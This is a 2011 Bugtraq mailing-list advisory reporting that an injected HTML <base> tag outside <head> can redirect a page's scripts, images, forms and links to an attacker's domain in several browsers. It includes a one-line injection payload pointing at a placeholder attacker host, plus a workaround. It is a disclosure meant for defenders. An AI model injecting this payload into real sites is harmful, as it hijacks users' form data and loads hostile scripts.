Bugtraq mailing list archives
<BASE> tag used for hijacking external resources (XSS)
From: Bouke van Laethem <vanlaethem () gmail com>
Date: Thu, 15 Dec 2011 23:53:26 +0100
I report this here because I could not find any other reference to this issue. VULNERABLE: Chrome, firefox and safari. NOT VULNERABLE: IE8 or IE9. (Above is as far as I could tell: things are moving fast nowadays in browser land) ISSUE: The <base> tag is parsed outside of <head></head>. This can lead to the base being reset, both before and after the <base> tag being injected, depending on browser types and versions. As a result, images and javascript can be loaded from an attackers domain, and forms and hyperlinks point to the attackers domain. An example can be found on http://avuko.net, but it is simple enough to reproduce: just put a <base href="http://attackerdomain"> somewhere in your HTML (the closer to <head> the better). Tested with overriding <img>, <a>, <script> & <form>, would probably work on other external references too. FIX/WORK-AROUND: make sure all paths are absolute. REFERENCES: http://www.w3.org/TR/html4/struct/links.html#h-12.4 http://avuko.net -- Be strict when sending and tolerant when receiving. [RFC 1958, 3.9]
Current thread:
- <BASE> tag used for hijacking external resources (XSS) Bouke van Laethem (Dec 16)
- Re: <BASE> tag used for hijacking external resources (XSS) Jann Horn (Dec 16)
- Re: <BASE> tag used for hijacking external resources (XSS) Mario Vilas (Dec 19)
- Message not available
- Re: <BASE> tag used for hijacking external resources (XSS) Bouke van Laethem (Dec 19)
- Re: <BASE> tag used for hijacking external resources (XSS) Mario Vilas (Dec 19)
- Re: <BASE> tag used for hijacking external resources (XSS) Bouke van Laethem (Dec 19)
- Re: <BASE> tag used for hijacking external resources (XSS) Mario Vilas (Dec 19)
- Re: <BASE> tag used for hijacking external resources (XSS) Jann Horn (Dec 16)